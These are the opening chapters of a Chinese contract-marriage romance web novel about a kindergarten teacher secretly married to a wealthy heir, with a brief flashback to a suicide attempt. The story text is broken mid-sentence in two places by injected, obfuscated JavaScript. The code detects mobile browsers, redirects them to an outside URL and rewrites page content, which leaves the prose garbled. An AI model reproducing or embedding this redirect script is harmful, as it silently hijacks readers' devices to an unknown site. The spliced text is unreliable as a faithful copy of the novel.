《欲渡[先婚后爱]》 1. 欺负 “小周老师,我要把我小舅舅介绍给你,让你当我小舅妈!” 5岁小萌娃来办公室给周绾宁送糖果时,突然歪着脑袋来了这么一句。 办公室里的人都稀奇地看过来。 有的被萌娃的天真可爱到,也有想看周绾宁如何回答。 周绾宁来这个京城高级私立幼儿园教学,已有一年多。 她模样顶好,说是明星脸也不为过。 身材不输超模。曲线完美、匀称高挑,极其符合京舞学院出来的舞蹈生气质。 就是她的性情…… 温和中,始终带着一股让人无法忽视的孤僻。 办公室的老人想打听她的一些事,但每每对上她疏离的笑,便不了了之。 其中,他们最想打听的就是今天这小萌娃问的相关话题—— 周绾宁是不是单身? 有没有在接触的男士? 如果她说自己是单身,那么办公室里认识高干子弟、金融大佬的老师,便会果断出击,将周绾宁的联系方式“送”出去。 要知道“星海高级私立幼儿园老师”、“身娇体软舞蹈生”、“性情温和的美女”、“开着保时捷911”这几个标签叠加在一起,那在相亲市场上是绝杀。 办公室一时间陷入极其夸张的“掉针可闻”的寂静,几乎所有人都在等周绾宁发话。 周绾宁捏了捏楼之熙小朋友头上的揪揪,一脸惋惜:“我们之熙小朋友那么好看,小舅舅一定也是位很帅气的人吧。” “可惜……老师已经有对象了。” 整个办公室原本神采奕奕、暗含期待的眼神,瞬间齐齐暗淡。 楼之熙更是一副小大人似地叹了口气:“诶,来晚了。” “但熙熙只想要小周老师那么漂亮、温柔的舅妈。” 说着,小孩又摸出一颗草莓味的糖果,放到周绾宁的手心,“小周老师,等你恢复单身了,一定要告诉熙熙哦,我还给你介绍小舅舅。” 说完,楼之熙一溜烟跑了。 一旁的李老师摇头失笑:“这孩子,真是人小鬼大,也不说点好听的话。” “是啊,看小周老师做不成她小舅妈,竟然盼着小周老师和她对象分手。”韦老师搭腔。 周绾宁抿抿唇,微微一笑。 确实如那孩子所说的那样。再有三个月,她就恢复单身了。 不过不是分手,而是离婚。 周绾宁看向前几年凑单买的日历本。 早在和谢温言领证那天,她就用红色记号笔在两年后的7月1日这天,画了个圈提醒自己。 从笔锋看得出,一年多前的自己落笔决然。 似乎是很坚定,自己会毫不犹豫地和谢温言去领离婚证。 “小周老师?小周老师……”一旁的李老师忽然唤她。 周绾宁抬眸看去,友好询问:“李老师,怎么了?” “你来的时间也不短了,我们好像从没见过你对象来接送你上下班。” 李老师递来通知书,“你看,下个月就是家属联谊会了,要不要也请他过来参加?” “是啊是啊。” 一旁的小叶老师插嘴道,“让我看看能摘下我们小周老师这朵高岭花的,会是一个怎样的男士,我也好按着你的标准找我的白马王子。” “不好意思,我对象……有点忙。” 周绾宁有些感到抱歉,“他也不喜欢参与这些社交。” 两个老师听到这回答,互相交换了下眼色,悻悻然抱着自己的教案前去上课。 周绾宁知道自己一而再再而三拒绝她们的聚会邀约,真的很高傲,很不好相处。 但她和谢温言是半隐婚状态。 除了与谢家走得近的几户世家大族,没人知道在京市被财阀们捧着的谢家掌权人已经结婚。 也没人知道在谢家名下高级私立幼儿园的普通幼师,会是谢温言的太太。 他们两个除了在梧桐湾的别墅。 不,除了在床上以外,他们基本没有交集,也不会出现在彼此的工作圈里。 说实话,如果不是和谢温言的结婚证还躺在她的包里,等待着这三个月里随时被通知去和他离婚,周绾宁都会觉得一切是自己在做梦。 还是一场历时两年的春梦。 现在想来,她和谢温言的相遇,像冥冥之中的注定。 那天,她是真的走投无路了。 为了筹集妈妈的医药费,她惦记起了自己身上的人身意外险。 她买了瓶白酒,独自坐在医院的天台上,装作打电话,向故去的爸爸忏悔他生的女儿很无能。 既保不下周家的公司,也筹不到妈妈的医药费,只能制造意外去世,至少还有一百万的赔偿,能用在妈妈后续的治疗上。 谁知那时,障碍物后的谢温言突然出声提醒:“你这样跳下去,最多被认定自杀,不会有保险赔付。找死也是白死。” 话里没感情,冷冰冰的,和他如今给人的感觉也差不多。 她转身看向恶言相劝自己的人。 晨曦之下,男人的周身犹如镀了金光,星芒盛放,给人一种面朝他会得到救赎,背对他是奔赴地狱的意境。 “你有困难我有烦恼,不如我们做个交易。” 说着,谢温言顿了顿,“我帮你救公司、支付你母亲的医药费,而你,把你的婚姻暂时典当给我。” “典当?” “我爷爷以死相逼进了医院,只为让我与人结婚。” “我想,与其按他们的要求和不喜欢的人联姻,不如自己选一个好掌控的谢太太。” 现在,周绾宁终于体会到了,当初谢温言说的“好掌控”是什么意思。 确实没有比她更好掌控的谢太太了。 家世清白、没有强大背景、受过良好教育,因为有一个天然的软肋存在,也不敢对他生出任何非分之想。 甚至这两年来,除了偶尔在床上失控以外,她也从未逾过矩。 她是他应付家里的利器,也是他带去上流圈层聚会的点缀品。 她是最好用的工具人。 就在周绾宁深陷回忆自嘲时,一本书突然“歘”地飞过来砸在了她的额头上。 周绾宁吃痛地捂住受伤的地方。 正在她想弄清楚发生了什么事时,一道尖锐的女声在办公室里响起—— “平时让苹果她爸去接苹果上下辅导班,他死活不去。” “但自从上周四来了幼儿园开家长会后,他每天都往这跑得勤快。” “我以为他是要做个好爸爸了,没想到啊,原来是因为有你这个贱人在这勾引我老公!” 女人声音之大,让办公室里无课休息的老师纷纷看来。 大家都认出了来者,她是周绾宁班里一个昵称为苹果的女孩的母亲。 因为平日穿着、行事、脾气都很张扬高调,弄得整个幼儿园的老师都认识她,喜提绰号“贵妇”。 此刻贵妇仍在指着周绾宁的鼻子臭骂:“贱人,连我高琼芝的墙角你也敢挖!” “去整个京市打听打听,我祖父是谁!” “信不信我捏死你比捏死只蚂蚁还容易。” “又来了,又来了。” 角落里,有教师压低声音和身旁人蛐蛐,还给周绾宁投去了怜悯的眼神,“被这人盯上,不被拉着吵半小时,休想脱身。” 周绾宁站起身,足够高的身高和这几年练出来的临危不惧,让她的气势丝毫不输来者的咄咄逼人。 “苹果妈妈,我和苹果爸爸只在家长会上见过,不存在你口中的‘我勾引他’。如果你继续在这空口白牙地污蔑人,我不会顾及苹果的面子,立刻报警。” “嘿!你也有脸报警?” 高琼芝感觉到不可思议,“真是稀奇。那正好,让整个幼儿园的人看看!他们的小周老师有多不要脸!” 说着,她骂骂咧咧地将手中的爱马仕重重砸在办公桌上,“本来还想给你留点底裤,谁让你非要嘴硬,那就睁大你的狗眼好好看看我摆出来的证据!” 她拿出平板电脑,高举着给办公室的老师们展示。 最后,高琼芝将照片怼到了周绾宁面前:“你穿着黑丝包臀裙的照片怎么会出现在我老公的手机里,要不是共享到iPad里面,我都不知道你们两个的龌龊事。” 她煞有其事的正宫派头,让周围看戏的人不免有些动摇—— “难道小周老师传说中的对象,就是苹果爸?” “难怪那么多次的联谊会,小周老师都不肯带她男朋友来参加。” “苹果爸我见过,小伙子白白净净看着很帅,没想到是这样的渣男,一边傍富婆一边包小三。” 周绾宁听着同事的议论,垂在身侧的手暗暗攥紧成拳头。 高琼芝见此情形,认为自己已经占据了道德高地,更是不想低调。 “把你们园长叫来,我倒要问问他,怎么管的手底下的老师。一个个不好好教书,只会勾引别人老公!” “谁不好好教书了。”有年轻的女老师小声驳斥。 另一边已有男教师对高琼芝展开安抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338650|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“园长马上过来处理。高女士,你别急。” 随着男老师话音落下,园长何正启恰好赶到。 一来,他就对高琼芝各种点头哈腰,丝毫看不出平日他在年轻幼师前的盛气凌人。 “高小姐,什么风把您吹来了。” 高琼芝立马把刚刚在办公室里的话,一五一十再转述了一遍,再是一脸不可思议道:“就这玩意儿她还敢报警?” “道歉,必须让她在家委会面前向我道歉!然后从这个学校离职!” 高琼芝无论是用词还是眼神手势,都充满着高阶级者对“服务行业者”的鄙夷与不屑。 何正启看向周绾宁。 印象中,她是被人介绍来的,但无论是转正还是评级,都没人过来给她撑腰,显然是送进来后就不管的面子情。 一番权衡后,何正启指着周绾宁道:“还不过来给高小姐道歉!做出这样的事来,真给我们幼儿园丢脸!” 周绾宁没有废话太多。 她一手拿出手机,一手按亮被高琼芝丢在桌上的iPad,等界面的右上角展现出照片拍下的时间、地点、拍摄手机型号后,她再用自己的手机拍下、保存证据。 “你干什么,你这是在干什么!” 高琼芝以为周绾宁是要删掉照片,立马过来抢走iPad,“无法无天了还,以为删掉这张我就没有别的证据了吗?” 周绾宁没搭理,直接按下110:“你好,我要报警。” “有人在上周四下午三点五十五分,星海高级私立幼儿园的兔兔教室里,偷拍我的隐私。教室里有监控,应该录下了这个无耻的行为。” 何正启连忙去夺周绾宁的手机:“周老师,你这是要让事情闹大啊!” 周绾宁躲过何正启的手,捂着额头的伤,继续对警察道:“今天,还有人在星海高级私立幼儿园教师办公室里闹事,不仅砸伤我,还造谣污蔑、贼喊捉贼,已涉嫌寻衅滋事,请你们为了园区孩子的安全,立即出警。” 周围瞬间安静。 就连高琼芝也没像刚刚那么闹腾。 她看着周绾宁不知道该说些什么,又去仔细看了看照片上的信息。 确实,拍摄这张照片的手机型号与周绾宁手里的对不上,却很明显的是她老公的手机。 “你、你个不要脸的,说不定是你用别的手机拍下来发给我老公的。”高琼芝死犟。 周绾宁得到警方会出警的保证后,挂掉电话,冷傲地看着她:“你还有什么话,都对警察说吧。” “最好……再把你老公请来,省得还得警方亲自上门去找他。” 办公室里的人,面面相觑。 谁也没想到周绾宁会这么刚,竟然不怕得罪园长和家委会主席丢工作。 也有人佩服周绾宁思维缜密,不陷入自证,还能反将一军。 —— 幼儿园放学时会循环十遍《我爱我的幼儿园》这首歌。 周绾宁拎着包、做完笔录从园区里面出来的时候,歌曲刚刚到尾声。 她看见初春的夜色下、橘黄色的路灯旁,停着一辆熟悉的劳斯莱斯。 以往,她是自己开车上下班的。 但最近车被送去保养,她便由家里的司机接送。 司机见她到了跟前,连忙下车过来,一脸慈祥地笑着帮她打开后座的车门:“夫人,下班了?” 似乎是发现什么,李叔的脸色猛然一变,“哟,您这额头是怎么回事,看着伤得不轻。” 周绾宁轻轻摸了摸脑袋上的“犄角”,疼得蹙眉。 “没什么。李叔,待会儿能麻烦您在前面的药店停一下吗,我想去买个药膏。” “好。” 周绾宁用手捂着额头,快速钻进车里。 她不想再被园区的同事出来看到,生出什么八卦。 可下一瞬,她发现了不对,因为车里还有另一个人的气息。 一股淡而清冷的雪松味。 她放下挡视线的手,看向另一侧,却见三个月前离京出差的谢温言就这么坐在右侧看着自己。 窗外暖色的灯光悉数照在他身上,化不开他俊秀眉目里的冷。 他就好似那三月初一轮高悬在蓝空的明月,森寒不可攀附。 周绾宁抿了抿唇,生涩不已地伸手想和他打招呼。 谁知还没开口,对方温凉的手伸过来,轻轻触碰了下她额头的肿包,疼得她差点倒吸一口冷气。 “幼儿园里,有人欺负你?” 一句话,又让周遭的空气冷下一度。 2. 新婚 “没,自己撞的。” 周绾宁一早就想好了对外的说辞。这个“外”,自然也包括此刻的谢温言。 她没打算告诉他,自己在幼儿园里发生的事。 在她的认知里,能自己处理的事就自己处理,这才是契约婚姻的合作之道。 更何况这件事,她一个人也能处理得很好。 高琼芝当着警察的面对她道歉了。 偷拍她的人删了所有照片并被警察拘留。 园长何正启没法说什么,办公室的人都知道她是冤枉的。 在她的回答过后,谢温言看着她的眼睛漆黑又深邃,像是能洞察她心里所想的一切。 最后他什么也没说,捧着手机开始办公。 周绾宁则等车停下后,兀自去了药店买药。 在医生的帮助下,她快速找到药准备去前台付账,却见本该在车里等她的谢温言,也出现在了药店里。 他在门口的货架前,一边打电话,一边挑挑拣拣着……避孕套。 那骨骼分明的手指,悬在几个小盒子上犹豫不决,似乎是在想什么味道、什么型号更适合他。 最后,他选了一盒…… 不,选了三盒最大号的避孕套。 见到这一幕的周绾宁,面色有些不自然。 她慌乱地转过身面对货架,神情远比被冤枉成小三时,还要惊诧三分。 从未想过有一日,谢温言会如此坦然地来买那种东西…… 难道年前家里囤着的那几盒,已经用完了? 可能吧。 他在那方面的需求一向很大,出差前的那晚没少折腾她,光那次就用完了整整一大盒。 时至今日。 周绾宁还是无法将眼前这位衬衫纽扣都要扣到最顶的禁欲型高岭之花,和那在床上只会埋头苦干的野兽联系在一起…… 周绾宁叹了口气,准备等他买完单再过去。 但他似乎正在骂电话对面的员工,语气冷硬,让人忍不住好奇翘起耳朵,一探究竟—— 到底是什么事,会让这个轻易不显露情绪的男人,露出这般生气的姿态? “这件事,不是她想息事宁人就能息事宁人的。” “你负责打点警方,再给园区换个领导。” “处理不好这两件事,你自己知道该怎么做。” 谢温言挂断电话,将避孕套递给店员。 店员是个小女生。 在接过三盒避孕套时,她已经烫红了脸。 在看到给自己递避孕套的男人,高冷俊朗、贵气非凡后,更是被惊艳得不敢与他对视,只结巴着说:“你、你好,先生。一共一百九十五块钱。” 这时,谢温言回头看向周绾宁,与“面壁思过”的她对上视线,声音清浅:“过来,一起结账。” 周绾宁很想装作不认识他,但现下整个店面也就三个人,想装作不认识也没法。 最后她只能走过去,将手中的药膏一并交给他。 店员重新计算了价格。 谢温言把钱付了,率先走在前面出了店门。周绾宁则跟在他身后,一起上了车。 * 漆黑发亮的车衣,擦过从蔚蓝的天上落下的一朵朵雨花,娴熟地驶入繁华又寂静的市区独栋老式洋楼里。 不久,管家出来关上厚重的铁制黑色拱形大门,让院内的一切都叫外人无法轻易窥见。 谢温言准备从车里下去,又想起自己要去书房工作一会儿,便对周绾宁出声提醒:“周六中午是谢家家宴,一起过去。” 正欲下车的周绾宁顿了顿,指甲扣紧了掌心的肉。 她的眸色间有隐忍和忍无可忍的情绪在其间反复叠加,只待一个契机,就会爆发。 但她最终还是忍下来了。 幼儿园被污蔑的事,她不需要忍,是因为那些人不是她的衣食父母。 但谢温言是,谢家是。 “好。”她仰头,对他笑得是一贯的温顺与乖巧。 谢温言微微眯眼,他将挂在手臂上的外套丢给李叔。 李叔知晓了他的意思,微微躬身后从车库里离开,还带上了小门。 随着门“嗑哒”一声合上,周绾宁的心也动荡了一下。 她看见谢温言逆光走来,好看的眉眼间带着做那事前特有的侵袭感。 光照在他身上,亮白的真丝衬衫透出身前紧实的胸肌。 明明看上去是一个很文雅的人,却在体能上像极了体育生,好似永远都不知疲倦。 他的袖口很随意地卷在臂弯的高度,露出手臂上的青筋,撩人又性感。 而那件黑色马甲紧紧缚着他精瘦有力的腰身,将腰间的力量欲盖弥彰。 下方裁剪得当的西装裤,透着衬衫夹的痕迹。 分明是用来规整衣服的东西,却在此刻禁欲的气息下,极具张力。 或许说,他身上的一切,总在无意间彰显出他的诱人。 周绾宁瞥开眼睛,不敢与他对视,生怕沦陷进去。 谢温言也突然调转脚步,绕到车后打开后备箱,拎出一只青蓝色的礼品袋递给她。 周绾宁知道这个牌子,年少时她经常去门店买新款。 但对于如今她只是个拿幼师工资的人来说,算是价值不菲。 他说:“跨年第二天急于出差,留你一人在谢家。后又错过春节、情人节,这是给你补偿。” “如果觉得不够……” 周绾宁打断他的话:“够。” 她接过那只蒂芙尼袋子,对他微笑,“我很喜欢。” 这一次,她甚至连收到礼物后的惊喜,都懒得再装。 因为谢温言很忙,这些礼物也只能是他叫助理去挑的。 他向来是一个体面的丈夫,在一些好丈夫的细节上做得很完美,让人挑不出错。 谢温言深深看了她一眼,没再说什么,离开了车库。 而周绾宁深深吐出一口气,无力地靠在车身上。 她从风衣外套里拿出打火机,漫无目的地点火、熄灭。 火光时不时照亮她明艳的五官,却捂不热她眼底的冷意。 最终,她拿上药走进客厅,对正在厨房切菜的桐姨说了句自己不饿,晚饭不用做她那份,便径直上楼泡澡。 * 老钱风装修的浴室里,热气氤氲。 周绾宁懒意洋洋地躺在浴缸里,回忆着浑浑噩噩的两年。 其实和谢温言刚领证那会儿,她对这场为期两年的婚姻,是有过期待的。 对她来说,一个救周家于水火、皮囊好看又冷静果敢的男人,让她不产生好感,是一件很难的事。 但常言说,婚姻是爱情的坟墓,更何况她和谢温言连爱情都没有,所以那么一丝丝好感被婚姻里的琐事消磨殆尽,实属正常。 领证后,他飞去海外忙于盛坤集团的开疆拓土。 她这个工具人则留在京城努力维护他们对外“美好”的婚姻。 一回两回还行,但现在要面临让渡自己全部的精力,就实在让人有点厌烦了。 好在他们这笔交易即将到期。 也不知三个月后,谢温言会怎么处理他们的婚姻。 是对外说感情不和,还是他打算直接携新人上位? 泡完澡、吹干发。 周绾宁换上谢温言喜欢的吊带真丝睡衣,等他上来。 两人已有三个月没有同房。 纵使之前夜夜温情,如今怕也只剩下了陌生和尴尬。 说来好笑,在床上,他们的身体竟比彼此的意识更喜欢对方,除了有时候她体力跟不上以外,他们算是极为合适的炮搭子。 也不知道今晚会用掉几盒…… 怀揣着各种各样的问题,周绾宁趴在床上,在等待中沉沉睡去。 未料,一觉睡到了第二天清早。 春日的暖阳穿透枝叶,斑驳又明媚地落在熟睡的女人身上。 周绾宁睁开一双浓密且黑的的睫毛,露出赭色的瞳孔。 在看到身侧空荡平坦、无人涉足过的床单时,她的眼神从困倦到清明,以及不解。 这时,床头柜上已经被人拆封的消肿药,引起了她的注意。 她伸手去碰自己额头上的伤口。 那里,已经消下不少。 看来…… 昨晚谢温言没来主卧睡,但来帮她上药了? 对于这点,周绾宁有些错愕。 但她很快就在心底否认了这个想法。 且不说谢温言向来不怎么关心她,就算是他,也不可能对她什么都不做,只温情地帮她上药。 他们不是那种关系黏腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338651|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又恩爱的夫妻。 如果真有这样“纯情”的一天,只能说谢温言不行了。 或者说…… 他对她没了兴趣。 周绾宁站起身去浴室洗漱,随后又下楼到餐厅用餐。 正在厨房忙活的桐姨见她落座,殷勤地过来在她的海鲜粥里加了颗刚煎好的鸡蛋。 周绾宁仰头笑着对她说了声谢谢,继而又问了句:“桐姨,温言呢?” 桐姨愣了一下,有些没想到昨晚小别胜新婚的两人,竟然没睡在一块。 两人该不会闹别扭了吧? 略一沉思后,桐姨扫去脸上的异样,解释:“先生昨晚忙得挺晚的,估计没想打扰您休息,在客房里休息了。” 这个回答其实和周绾宁的提问,压根不是一回事。 但周绾宁已无心去深思,因为她听到楼上有熟悉的脚步声传来。 她顺手拎起一旁的便当,小声说了句:“桐姨,我先去赶地铁了。” “诶?夫人,您不让李叔送吗?” “不用。我坐地铁也挺方便,就三站路。”说罢,周绾宁快速穿鞋匆匆出门。 其实她也不是傻的,有车接送多方便。 她只是暂时有些不太想和谢温言待在一个空间里。 因为她……有点不太清楚该怎么处理和谢温言的关系,还有这段一眼就能看到头的婚姻。 * 4号线并不好挤。 周绾宁在京市生活多年,从不觉得这个城市有多拥挤,但今天的地铁站里仿佛有一百万人。 后来紧赶慢赶,她才拎着挤变形的便当盒,狼狈地走进幼儿园里。 彼时,偌大的办公室里,大多老师已经去上课,只剩下三三两两的人在为下一节课做准备。 周绾宁的到来,让他们纷纷侧目。 他们也是没想到,昨天以一己之力让园长何正启爆发的人,今天还有胆来上班。 何正启在这个园区很多年,也就对周绾宁说过那么一句:“你给我滚出这个学校,明天我就把开除文件张贴到公告栏上!” “我要是她,干脆主动离职算了。” 徐婧徐老师在角落里泡咖啡,看到周绾宁来,忍不住跟自己班的英语老师小声议论,“被老何开除这件事,也太丢人了。” “徐老师,话不是那么说的呀,昨天的事,小周老师怎么也算是个受害者。” 韦老师替周绾宁说话。 她看不惯徐婧这样不食人间烟火的模样,已经许久了。 “你是富三代,要不要这份工作都无所谓,但我们不一样。” 徐婧嗤笑:“有什么不一样的?” “就算我爸是盛坤子集团的股东,我也不敢这么不给老何面子,说报警就报警。” “那高琼芝可是老何老婆的妯娌,老何坐到现在这个位置,怎么可能不给高家几分面子。” 韦老师叹了一口气,看向正在收拾教具的周绾宁,忍不住劝说:“绾宁,要不今天去找老何说个情?” 周绾宁没说什么,从自己的便当里取出一小盒车厘子塞到韦老师手里:“放心吧。” 韦老师见她一点也不为昨天的事情所围困,也不再说什么,又看手中的车厘子:“这一盒斯卡拉雷不便宜吧。” “还好,谢谢韦老师昨天帮我代课。” “不客气不客气,我这儿也有点圣女果,你吃吧。” 周绾宁接过韦老师递过来的小盒子,笑意浅浅。 而徐婧有些看不惯周绾宁永远云淡风轻的模样,那底气看上去比她的还足,举手投足间比她还要贵气许多。 “切,真装。” 徐婧不忿地嘲讽一声,绕过她们两个,拿着保温杯去了自己的位置。 这时,办公室外风风火火地跑来一个人。 是位大学毕业没多久、行事比较莽撞的男老师。 他一进门,都没看清里面有谁,便大声嚷嚷:“我去,你们知道吗,老何!何正启被集团开除了!以贪污受贿的名义!” 徐婧和办公室其他人在愣怔一秒后,都不约而同地看向了周绾宁。 而周绾宁备课的笔在纸张上顿住,秀气的眉头蹙起。 半晌后,她了然一切,打开手机给置顶的塑料“老公”发过去两个字: 【谢谢。】 3. 护短 京城CBD的摩天大楼,鳞次栉比地矗立在八道宽马路两侧。玻璃幕墙印着蓝天白云与经过的飞机,无一不显示着这座金融文化中心城市的繁华与生机。 盛坤集团四十五层。 谢温言落座不久,宋承珉便大大咧咧地“登堂入室”。 他自由落体,身躯陷进单人沙发里,双腿翘起,交叠着架在前方的茶几上,姿态是吊儿郎当的闲散。 “噌~” 宋承珉把玩着手中的打火机,透过火光看向对面那个五官冰冷的男人,语调不免带了份玩味:“还以为离家三个月,今天你会抱着亲亲老婆决战到黄昏。” “现在看来……是连温存都没有就来公司了?” 谢温言眼神凉凉地看了好友一眼,暗带警告。 宋承珉说话向来没把门,还在戏谑,“你再这么工作狂下去,也不怕嫂子气跑了。” “还是说,你已经有把握,嫂子会这样跟你过一辈子?” 谢温言骤然停下手中的奋笔疾书,刚要说什么,手机“叮”地一声响起。 打开一看,是周绾宁发来的——【谢谢】。 一如既往的疏离与生硬。 他从不觉得两人之间需要这样客气,但奈何她是一个很有分寸的人。 “是她太有分寸,还是你没给她机会去依赖你?” 听出谢温言话中的困顿,宋承珉直戳重点,“你们结婚快两年,但待在一起的日子,满打满算也就三个月吧?说不定对嫂子来说,你这便宜老公还不如她和她大学室友熟呢。” 真相总像耳光那样响亮。 谢温言无言以对。 他的目光落在婚戒上好一会儿,才拿起手机编辑消息:【你是我的妻子,维护你,是我该做的。】 发过去后,他又在对话框里编辑一条:晚上过去接你? 谁知,对面发来两条紧挨着的消息: 【下次我会尽量自己处理好这些事,不再麻烦你。】 【潇潇失恋了,今晚我去陪她,明天中午的家庭聚会,我不会忘记的。】 谢温言冷笑一声,删掉对话框、合上手机。 末了,他看向宋承珉,问:“最近,高氏是不是跟宋氏有合作?” “嗯。” 宋承珉很意外他会过问这种小事,“最近宋氏有几个项目,高氏很积极地想跟投,怎么了?” “你把这几个项目给我名下的盛世云启。” “为了答谢,我会让盛坤带宋氏参投海云湾的项目。”谢温言顿了顿,“这个诚意够吗?” 宋承珉原本下垂的眼,因为他的这番话,瞬间大睁。 半天,他才憋出一句:“高氏得罪你了?” 谢温言不答。 宋承珉也不像没眼力见似地追问。 他神情恣意地打了个响指:“成交。” * 周绾宁的目光还停留在那句—— 【你是我的妻子,维护你,是我该做的。】 很早之前,谢温言也有这样维护过她。 那时,她还体验到了心怀小鹿撞的感觉。 只是时间越久,她就越发明白一件事。 谢温言维护的是谢太太、谢夫人、盛世集团继承人的妻子。 而不是她周绾宁本人。 现在,她已经很清楚地认清了自己在谢温言心里的位置、在谢家人眼里的地位,不该肖想的事情尽量不去想,不该期待的事也不会过于期待。 她合上手机,拿上教具去兔兔教室给孩子们上课。 虽然昨天出了那样的事,家长群里的风言风语不少。 但好在孩子们的世界很简单纯粹,不知道昨天发生了什么事。 他们对她,还是一如既往的亲近、信任。 做游戏时,一个两个地把自己往她怀里钻。 等课程结束,周绾宁被治愈到,重新调整心情,笑着走出教室。 虽然初来做这个幼师时,她百般不愿,但现在已经适应得不错。 或许真如那个人所说,有些事情再是不愿意,做久了也会喜欢。 周绾宁准备下楼回办公室。 这时,身后传来小孩的呼唤声:“小周老师!” 她转身看去,发现追上来的是谢温鄞。 他急迫地牵住周绾宁的手,仰着头看她。 周绾宁对眼前这个小孩心情复杂的程度,比如今高家的小苹果还胜。 因为他是谢家最小的孩子,谢温言五岁的弟弟。 她不喜欢谢家,但谢温鄞总是对她很热情,热情到有时候让她难以抗拒。 “温鄞,怎么了?”周绾宁蹲下身,顺了顺他柔软细长的刘海。 看着眼前这张跟谢温言有五分相似的脸,她不自觉地产生了几份恍惚。 “小周老师,你能不能不要和哥哥分开。” 说着,谢温鄞眼里含上一包泪,可怜兮兮的,“楼之熙说,等你恢复单身,就会做她小舅妈。” “呜呜,小周老师,温鄞不想你做楼之熙的小舅妈,我只要你做我的嫂子。” 听到前面一句的周绾宁,还有一丝懵,以为自己和谢温言即将离婚的事情就这么暴露了。 但听到后面那句,她忍不住哂笑。 “我没有要做楼之熙的舅妈。”她捏捏谢温鄞的脸蛋,带着一份疼哄。 谢温鄞吸吸鼻子:“真的?” “嗯。” “那嫂子也不会跟哥哥分开?” “……” 周绾宁陷入沉默,半晌后,才回,“不会。” 谢温鄞笑得憨憨的:“那好,我们拉钩上吊。” 说着,他不等周绾宁反应,拿出肉肉的小手与周绾宁的小拇指勾在了一块,“以后我会对嫂子很好很好。嫂子只能做温鄞的嫂子哦!” 那双像极了谢温言的眼睛,在看她时,盈满了星火和害羞。 可惜,这份信任与开心,终究有一天是要破灭的。 不过现在,周绾宁不想让他不开心,于是点了点头。 紧接着,她又提醒了一句,“之前跟你说过,在幼儿园要叫我什么?” “小周老师!” “嗯,乖,去玩吧。” 谢温鄞得到满意的答复也没继续缠着闹,在塞给周绾宁一块巧克力后,他蹦跶着转身离开了。 周绾宁看着他的背影微微一笑。 就在她起身准备回办公室时,三楼连二楼的楼梯上,传来一阵高跟鞋的声音。 是徐婧下来了。 周绾宁微愣,暗暗回想了下自己刚刚和谢温鄞的对话,有没有暴露什么。 这时,徐婧开了口:“周绾宁,你不会以为扒着谢家小少爷不放,就能攀上谢家这条高枝了吧?” “……”看来是什么也没听到。 周绾宁不愿搭理,对她笑了笑后,起身准备绕开。 谁知,徐婧又说了一句:“有些消息呢,圈层不一样,你不知道是正常的。” “但既然我们现在是一个学校的同事,有些话我还是要提醒你。” 周绾宁微微蹙眉,回头等她下文。 “像我来这个学校就是为了混口饭吃。” “但你不同,你一看就是来这镀金、找金龟婿的。为了防止再发生点昨天那样的事,让幼儿园背上一些不该背的丑闻,连累在这工作的我……” 周绾宁无语:“别再秀你的优越感了,有话快说。” 徐婧气得呼吸一滞,但还是忍下了脾气:“我想告诉你。谢温言已经结婚了。” “嗯,我知道。” 徐婧嗤笑,继续说自己的话:“谢温言很爱他老婆,把他老婆保护得很好,没多少人知道谢太太的情况。所以你想通过谢温鄞接触到他、上位成谢太太,还是别做这个梦了。” 周绾宁忍不住低头漾开一抹笑来,逗她:“谢谢提醒,但我偏要。”随后,她潇洒转身离开。 “诶?” 徐婧没想到她会那么不领情,大着声音,“呵,看来是不撞南墙不死心,那你就等着瞧吧。” 周绾宁懒得搭理她。 她先回了办公室收拾好自己的东西,随后出发前往明潇的公寓。 明潇是盛坤集团子公司的企划部总监,对外是雷厉风行的女强人,但在周绾宁面前,永远是一只温顺又娇软的小绵羊。 此刻,小绵羊一手晃着红酒杯,另一手勾着一条新洗过烘干的紫色真丝睡衣 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说完,她拿起一旁的红酒,面色不自然地咽了一口。 这时,明潇凑过来,煞有其事着:“其实作为你的好闺蜜,我还是建议你好好把握一下谢温言。” “三个月说长不长,说短不短,或许会发生很多不错的事情,让你们这为期两年的婚姻继续维持下去呢。” 周绾宁摇摇头:“应该……不太有这个可能。” 明潇愣了下,想起闺蜜心里藏着的过往,也不再劝解。 她转移话题:“对了。” “明天是你爸祭日,需要我陪你去山上吗?” “不用了。明天要去谢家。” 明潇只当他们夫妻俩另有计划,颔首。 她转身走进一侧的衣帽间里,取来一条漂亮的蕾丝纱质连衣裙,还有一条……bra,展示给周绾宁看。 “明天去谢家,穿这身吧。再配个咖色小风衣,别提多标致了,保证把你家老谢迷得神魂颠倒。” 周绾宁看了。 那连衣裙算是中规中矩的飘逸,但那条穿了等于没穿、明晃晃能露点的性感内衣,让她不免十分震惊。 “这个……” “agentprovocateur牌子的,我买了也没个男人向他展示,不如穿睡衣来得自在。这个就送你了。” 末了,明潇还提醒了句,“都是洗好晾干没穿过的,明天你穿这个就好。” 周绾宁应下:“行。你放那吧,我快好了。” 明潇挑眉,对她流里流气地吹了口口哨后,离开了浴室。 大约十分钟后,周绾宁吹干头发,看着镜子里衣着清凉的自己。 不知怎么,脑海里忽然浮现出了谢温言那双漆黑的眼眸,不掩狼性也不掩侵略性。 甚至,她隐约还能感触到他之前纠缠在自己身上的那份灼热气息。 那是让人犹如处在温泉之下、透不过气来的占有感。 周绾宁微微咬住下唇,压下小腹里泛起的酸麻。 